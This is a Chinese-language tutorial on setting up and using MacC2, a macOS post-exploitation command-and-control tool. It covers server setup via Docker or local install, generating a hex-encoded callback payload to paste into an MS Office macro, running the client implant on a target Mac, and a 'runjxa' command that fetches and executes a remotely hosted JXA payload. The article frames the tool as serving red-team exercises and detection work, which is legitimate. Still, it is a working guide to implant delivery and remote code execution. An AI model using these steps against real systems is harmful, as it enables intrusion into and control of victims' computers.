如何使用MacC2对macOS进行后渗透漏洞利用

2021-02-08 09:52:19 浏览数 (1)

MacC2

MacC2是一款基于Python开发的macOS后渗透漏洞利用工具,该工具使用的是Objective-C调用或Python代码库,而并非命令行执行。MacC2的客户端基于Python2开发,虽然Python2现在已经算是被弃用了,但它仍然可以随Big Sur安装一起提供。在将来,苹果很可能会从macOS的基础安装组件中移除Python2(或者直接删除预置的Python环境支持),但直到2020年11月,这种情况还没出现。

该工具的主要目的是为了帮助安全研究团队进行渗透测试技术演练,并在macOS上构建针对Python后渗透漏洞利用框架的检测机制。苹果计划会将脚本运行时环境从macOS的基础安装中移除,具体何时删除我们还不得而知,不过现在的Big Sur安装还是包括了Python的。

当前版本的MacC2已在Catalina和Big Sur上进行了测试。在Big-Sur上,惟一没有按预期工作的函数是systeminfo命令.

您可以在本地设置服务器,也可以使用我在这个项目代码库中提供的Docker设置。

使用Docker运行MacC2

如果你还没有安装Docker的话,请使用下列命令安装和配置Docker:

代码语言:javascript复制
chmod  x install_docker_linux.sh

sudo ./install_docker_linux.sh

接下来,运行下列命令。下列命令将会创建一个不受信任的SSL证书以及密钥,并为服务器和端口生成一个宏文件(macro.txt),然后构建macc2-docker。构建完成后,将会在macc2-docker中以交互模式运行MacC2服务器。

此时,工具将要求我们输出MacC2服务器的IP/主机名:

然后输入MacC2服务器需要监听的端口号:

工具将生成一个十六进制编码的Payload,存储在一个名为macro.txt的本地文件中,它能够连接至你的MacC2服务器,主机名、IP和端口均对应用户的设置:

Docker将会安装aiohttp Python3依赖,构建macc2-docker,然后在容器中运行MacC2服务器。完成之后,MacC2服务器将会监听用户所指定的端口:

现在,我们就可以使用下列命令验证MacC2服务器的运行状态了:

代码语言:javascript复制
docker ps

除此之外,安装脚本还会在容器和主机之间配置一个共享挂载。在主机上,我们可以浏览/var/lib/docker/volumes/macc2/_data来访问MacC2_client.py和macro.txt。

我们还可以将MacC2_client.py文件拷贝到客户端,执行之后将提供回调,或者直接将macro.txt宏文件导入至一个Office文档,启用宏功能之后,将在客户端打开回调。

本地运行(不使用Docker)

如果你不想使用Docker,你还可以在本地搭建和配置服务器:

广大研究人员可以使用下列命令将该项目源码克隆至本地:

代码语言:javascript复制
git clone https://github.com/cedowens/MacC2.git

由于MacC2服务器使用了aiohttp库来进行网络通信,因此我们要先安装aiohttp:

代码语言:javascript复制
pip install aiohttp

python3 -m pip install --upgrade --force pip

接下来,在C2服务器上,配置SSL(密钥大小至少为2048):

代码语言:javascript复制
openssl req -new -newkey rsa:2048 -nodes -out ca.csr -keyout ca.key

openssl x509 -trustout -signkey ca.key -days 365 -req -in ca.csr -out ca.pem

请注意,ca.pem和ca.key的文件名不要修改。

然后,使用macro_generator.py来创建MacC2脚本,然后指定服务器的IP/域名以及端口号。macro_generator.py还会构建一个十六进制编码的宏文件(macro.txt)来运行MacC2.我们可以将文件中的内容拷贝到一个MS Office文档中。

使用样例:

代码语言:javascript复制
python3 macro_generatory.py -s [C2 Server IP/domain] -p [C2 Server Port]

使用MacC2_server.py脚本监听连接:

在客户端(目标为macOS主机),使用下列命令运行MacC2_client.py脚本:

代码语言:javascript复制
python MacC2_client.py

此时在服务器端,你将看到传入的连接:

MacC2使用

收到连接之后,我们可以在服务器端使用“help”命令来获取内置可用的命令列表,然后输入目标命令来查看详细信息:

你还可以生成一个Mythic C2 JXA .js Payload,然后将其托管至一台远程服务器中。接下来,使用runjxa命令来向MacC2提供托管文件的URL,并执行Mythic .JXA Payload:

代码语言:javascript复制
>>> runjxa <url_to_JXA_.js_payload>

项目地址

MacC2:【GitHub传送门

0 人点赞